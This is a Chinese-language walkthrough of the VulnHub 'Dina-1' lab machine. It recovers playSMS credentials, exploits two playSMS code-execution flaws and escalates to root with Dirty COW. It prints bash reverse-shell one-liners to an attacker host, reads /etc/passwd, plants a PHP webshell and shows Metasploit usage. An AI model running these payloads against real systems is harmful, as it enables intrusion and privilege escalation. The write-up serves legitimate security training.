【VulnHub靶机渗透】四:Dina-1

VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜像的同学)。


文章目录

    • 一、相关简介
    • 二、信息搜集
    • 三、渗透测试
      • 1、漏洞发现
        • 1.1、Send from file:代码执行
        • 1.2、Phonebook:代码执行
      • 2、漏洞利用
        • 2.1、Phonebook(Import file)
          • 2.2.1、手工利用
          • 2.2.2、基于exp的利用
        • 2.2、Send from file
    • 四、总结

一、相关简介

靶机:

该靶机设定一些线索,引导用户得到相关信息,并使用了一个存在漏洞(代码执行漏洞)的Web应用系统版本。

  • 名称:Dina-1
  • 系统:Linux Ubuntu
  • 难度:初学者
  • 目标:/root/flag.txt

环境:

  • 靶机:Billu_b0x——192,168.11.22
  • 攻击机:Kali——192.168.11.11
  • 工具:Nmap、dirb、NetCat(nc)、BurpSuit、whatweb、MSF等

流程:

  1. 信息搜集
  2. 对发现的Web应用的两个漏洞逐一测试

二、信息搜集

老套路,先主机发现,本次使用 arp-scan 来发现主机

arp-scan -l

【VulnHub靶机渗透】四:Dina-1_第1张图片
主机信息扫描及端口服务识别

nmap -sS -Pn -A -T4 192.168.11.23

【VulnHub靶机渗透】四:Dina-1_第2张图片
只有80端口开启,扫描目录,划线的比较可疑

dirb http://192.168.11.23 /usr/share/dirb/wordlists/big.txt

【VulnHub靶机渗透】四:Dina-1_第3张图片
Web指纹识别,没得到太多有用的信息

whatweb -v -a 3 192.168.11.23

【VulnHub靶机渗透】四:Dina-1_第4张图片
扫描支持的http请求方法,不支持上传文件

nmap --script="http-methods" 192.168.11.23

【VulnHub靶机渗透】四:Dina-1_第5张图片
根据扫描,大致总结出以下信息:

  • IP:192.168.11.23
  • OS:Linux Ubuntu 12.04 LTS
  • 内核:Linux 3.2.0-23-generic-pae
  • 80端口:http,Apache 2.2.22

Web路径信息,标黑的为较重要的页面:

  • http://192.168.11.23/index (CODE:200|SIZE:3618):主页
  • http://192.168.11.23/robots.txt (CODE:200|SIZE:102):robots文件
  • http://192.168.11.23/nothing/pass (CODE:200|SIZE:57):疑似密码字符串
  • ==> DIRECTORY: http://192.168.11.23/secure/:可访问的非空目录
  • ==> DIRECTORY: http://192.168.11.23/uploads/:可访问的空目录
  • ==> DIRECTORY: http://192.168.11.23/tmp/:可访问的空目录
  • ==> DIRECTORY: http://192.168.11.23/nothing/:可访问的空页面
  • http://192.168.11.23/nothing/index (CODE:200|SIZE:180):可访问的空页面
  • http://192.168.11.23/server-status (CODE:403|SIZE:294):无权限
  • http://192.168.11.23/cgi-bin/ (CODE:403|SIZE:289):无权限

三、渗透测试

1、漏洞发现

1)寻找信息,登入后台

访问目标站点,主页暂时没有发现有用信息,有robots文件,也没有发现有用信息。

之前在查看路径内容时,发现这个目录下有内容,而且可以被下载:

  • http://192.168.11.23/secure/可访问的非空目录

【VulnHub靶机渗透】四:Dina-1_第6张图片
将文件保至本地并解压,但是提示需要解压密码,想到了http://192.168.11.23/nothing/pass页面给出的几个疑似密码的字符串
【VulnHub靶机渗透】四:Dina-1_第7张图片
使用freedom作为密码成功解压,得到一个.mp3文件
【VulnHub靶机渗透】四:Dina-1_第8张图片
由于之前遇到过通过莫斯电码传递相关信息的题目

  • 【墨者学院–靶场篇】题目九:密码学加解密实训(摩斯密码第1题)

以为这次也是,但是无法播放,所以用编辑器打开查看源码,源码给出了一个url和账号:
在这里插入图片描述
访问给出的url得到一个需要登陆的后台,登录的服务是playSMS,一个Web短信网关平台 (此时应该第一时间搜索该服务软件已知的漏洞,但是我急于登进系统发现漏洞而忘记了这件事)
【VulnHub靶机渗透】四:Dina-1_第9张图片
账号已经给出:touhid,密码自然又想到/nothing/pass页面的密码字符串,果然使用diana作为密码登入了系统。

2)发现两处漏洞

经过对所有选项的测试,发现以下两处可能会存在安全隐患:

  • Send from file
    【VulnHub靶机渗透】四:Dina-1_第10张图片
  • Phonebook
    【VulnHub靶机渗透】四:Dina-1_第11张图片

1.1、Send from file:代码执行

在Send from file板块,发现系统后会将传入的文件名展示在页面,这就比较危险了,相当于提供了一个交互
【VulnHub靶机渗透】四:Dina-1_第12张图片
既然是这样,那么自然就想到了代码执行漏洞,上传文件抓包,修改文件名为命令代码结果成功执行id命令:

 system('id'); ?>

【VulnHub靶机渗透】四:Dina-1_第13张图片
的确存在代码执行漏洞,当我兴奋地拿着bash的反弹shell:

echo "bash -i >& /dev/tcp/192.168.80.134/1234 0>&1" | bash

去建立连接时,结果却不可以,有过滤,而且经过测试,也不可以使用cat /etc/passwd命令:
在这里插入图片描述
实在想不到怎么利用,就先放下了。

1.2、Phonebook:代码执行

Phonebook板块有一个导入文件并识别CSV文件内容的功能,例如导入一个测试文件,页面会显示文件内容
在这里插入图片描述
既然可以交互,那么依照惯例,抓包试一下能否命令执行,结果是可以的
【VulnHub靶机渗透】四:Dina-1_第14张图片
cat以下passwd文件,也是可以的
【VulnHub靶机渗透】四:Dina-1_第15张图片

2、漏洞利用

2.1、Phonebook(Import file)

2.2.1、手工利用

1)反弹shell

之前已经测试出,在导入文件处存在代码执行,那么就可以尝试能否建立反弹shell,将内容改为反弹shell命令:

('echo "bash -i >& /dev/tcp/192.168.11.11/9999 0>&1" | bash'); ?>

【VulnHub靶机渗透】四:Dina-1_第16张图片
哇唔,成功了,接下来就挂马、提权呗。

2)寻找可写目录,Web站点挂马

由于之前测试已经知道对当前目录没有写的权限,退回上一步查看Web目录下是否存在可写的目录,发现了两个存在写权限的目录:

  • tmp、uploads

在uploads目录下写入一个php测试文件
【VulnHub靶机渗透】四:Dina-1_第17张图片
访问该文件,成功执行php文件,测试成功
【VulnHub靶机渗透】四:Dina-1_第18张图片
ok,那就可以写一个php一句话木马,然后用蚁剑连接
【VulnHub靶机渗透】四:Dina-1_第19张图片
【VulnHub靶机渗透】四:Dina-1_第20张图片
3)内核漏洞,脏牛提权

Web挂马就到此,但是此时权限还比较低,因此需要提权,看一下当前系统地版本信息:

uname -a && cat /etc/issue

【VulnHub靶机渗透】四:Dina-1_第21张图片
查询当前系统版本Ubuntu 12.04的内核漏洞exp:

searchsploit Ubuntu 12.04

【VulnHub靶机渗透】四:Dina-1_第22张图片
使用wget http://192.168.11.11/34134.c命令从kali服务器下载至目标主机
【VulnHub靶机渗透】四:Dina-1_第23张图片
编译运行,即可提权,但是编译出错??利用脏牛提权吧(其实原理一样,都是利用内核漏洞提权),同样的方法将dirty.c下载至目标主机Web目录下:
【VulnHub靶机渗透】四:Dina-1_第24张图片
使用gcc编译

gcc -pthread dirty.c -o dirty -lcrypt

直接运行变异后的文件,会提示输入密码,该密码就是root用户的新密码,还会给出root用户的账户名
【VulnHub靶机渗透】四:Dina-1_第25张图片
输入完稍等片刻,即可su切换用户,提权至root权限
【VulnHub靶机渗透】四:Dina-1_第26张图片
查看flag,异常的炫酷
【VulnHub靶机渗透】四:Dina-1_第27张图片

2.2.2、基于exp的利用

在kali上查找playsms相关exp,果然有之前发现的两个漏洞点
【VulnHub靶机渗透】四:Dina-1_第28张图片
1)利用漏洞建立反弹shell

查看Import File的漏洞文档,发现文档中给出了利用方法
【VulnHub靶机渗透】四:Dina-1_第29张图片
需要在导入的 CSV 文件中填入以下内容:

  • name处:
  • mobile处:22

此时导入该 CSV文件,抓包修改User-Agent的值为任意命令,即可执行。

从页面下载一个CSV文件,在其中填入指定内容:
【VulnHub靶机渗透】四:Dina-1_第30张图片
导入该文件抓包,尝试修改User-Agentwhoami,结果的确返回了执行结果
【VulnHub靶机渗透】四:Dina-1_第31张图片
既然可以执行Linux命令,那么就可以建立反弹shell并提权了。

修改User-Agent为创建反弹shell的命令:

echo 'bash -i>&/dev/tcp/192.168.11.11/9999 0>&1' | bash

【VulnHub靶机渗透】四:Dina-1_第32张图片
kali上监听9999端口,发包即可建立会话shell
【VulnHub靶机渗透】四:Dina-1_第33张图片
成功反弹shell,那么剩下的步骤跟上边的就一样了,挂马提权,不再演示。

2.2、Send from file

之前已知,此处存在代码执行漏洞,也已经查到了漏洞文档:
【VulnHub靶机渗透】四:Dina-1_第34张图片
按照文档提示,将文件名改为以下命令:

('uname -a'); dia();?>.php

【VulnHub靶机渗透】四:Dina-1_第35张图片
可以看到成功执行,但是并未理解文档中的利用方法,于是使用MSF查找相关漏洞,发现这两个漏洞在MSF中都有利用模块
【VulnHub靶机渗透】四:Dina-1_第36张图片
就以Sendfromfile为例来进行渗透吧,选择对应的exp
【VulnHub靶机渗透】四:Dina-1_第37张图片
查看需要设置的配置参数,如下:
【VulnHub靶机渗透】四:Dina-1_第38张图片
使用 set 变量 值的形式,配置所有参数,其中TARGETURI就是上传文件页面的URI(注意:URI没有域名)
【VulnHub靶机渗透】四:Dina-1_第39张图片
配置完成后run运行,即可利用漏洞建立反弹shell
【VulnHub靶机渗透】四:Dina-1_第40张图片
但是此时的shell并不是一个终端Terminal,以下命令无法使用,就无法提权
【VulnHub靶机渗透】四:Dina-1_第41张图片
输入问号来看一下当前支持的命令,在系统命令栏发现了shell,可用于建立一个执行系统命令的环境
【VulnHub靶机渗透】四:Dina-1_第42张图片
输入shell,再次输入whoami,成功执行,并查看当前权限
【VulnHub靶机渗透】四:Dina-1_第43张图片
但是这样还不是一个完整的终端环境,比如输入su命令,会提示must be run from a terminal。不过既然已经是系统命令环境了,那就可以使用python调用bash程序,来建立完整的Terminal环境

python -c 'import pty;pty.spawn("/bin/bash")'

【VulnHub靶机渗透】四:Dina-1_第44张图片
剩下的提权步骤就和上边的一样了,要么内核提权,要么脏牛,我直接切换到了之前提权好的root用户。

四、总结

整体步骤:

  • 信息搜集,得到仅开放80端口
  • 下载网站文件,得到一个加密的压缩包
  • 访问robots文件得到密码,解开压缩包,得到playSMS登陆地址与用户名
  • 利用给出的用户名和robots文件中的密码进入系统,发现两处命令执行漏洞
  • 手工利用和使用MSF利用漏洞,脏牛提权

你可能感兴趣的:(#,VulnHub综合靶机)